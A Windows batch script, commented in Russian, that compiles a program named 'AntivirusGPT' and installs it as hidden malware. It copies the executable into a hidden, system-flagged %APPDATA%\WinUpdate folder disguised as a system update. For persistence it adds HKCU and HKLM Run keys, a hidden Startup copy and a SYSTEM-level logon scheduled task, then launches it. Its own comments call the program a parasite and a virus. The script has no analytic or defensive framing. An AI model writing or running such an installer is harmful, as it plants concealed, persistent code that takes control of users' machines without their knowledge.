@echo off
setlocal
echo === Сборка + Установка AntivirusGPT ===
:: ищем [Link] (компилятор)
where csc >nul 2>&1 || (
echo [!] Не найден [Link] (компилятор). Ставь .NET SDK / Visual Studio.
pause & exit /b )
:: собираем .exe из исходника ([Link])
csc /t:winexe /out:[Link] [Link] ^
/r:[Link],[Link],[Link]
if not exist [Link] (
echo [!] Ошибка компиляции
pause & exit /b )
:: создаём папку под видом системного апдейта (в %APPDATA%)
set "TARGET=%APPDATA%\WinUpdate"
if not exist "%TARGET%" mkdir "%TARGET%"
:: скрываем папку (hidden + system)
attrib +h +s "%TARGET%" >nul
:: копируем exe под видом системного файла ([Link])
copy /y [Link] "%TARGET%\[Link]" >nul
:: скрываем exe (hidden + system)
attrib +h +s "%TARGET%\[Link]"
:: прописываем Run ключи (HKCU + HKLM)
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "WinSecUpdateGPT" /t
REG_SZ /d "%TARGET%\[Link]" /f >nul
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v "WinSecUpdateGPT" /t
REG_SZ /d "%TARGET%\[Link]" /f >nul
:: кидаем ярлык ещё и в Startup (на всякий)
copy /y "%TARGET%\[Link]" "%APPDATA%\Microsoft\Windows\Start Menu\Programs\
Startup\[Link]"
:: скрываем ярлык (hidden + system)
attrib +h +s "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\
[Link]"
:: планировщик на подстраховку (schtasks)
schtasks /create /sc onlogon /tn "WinUpdateGPT" /tr "\"%TARGET%\
[Link]\"" /ru SYSTEM /rl highest /f >nul
:: запускаем паразита из целевого места ([Link])
start "" "%TARGET%\[Link]"
echo [+] Установка готова! Вирус теперь прячется в %TARGET%
pause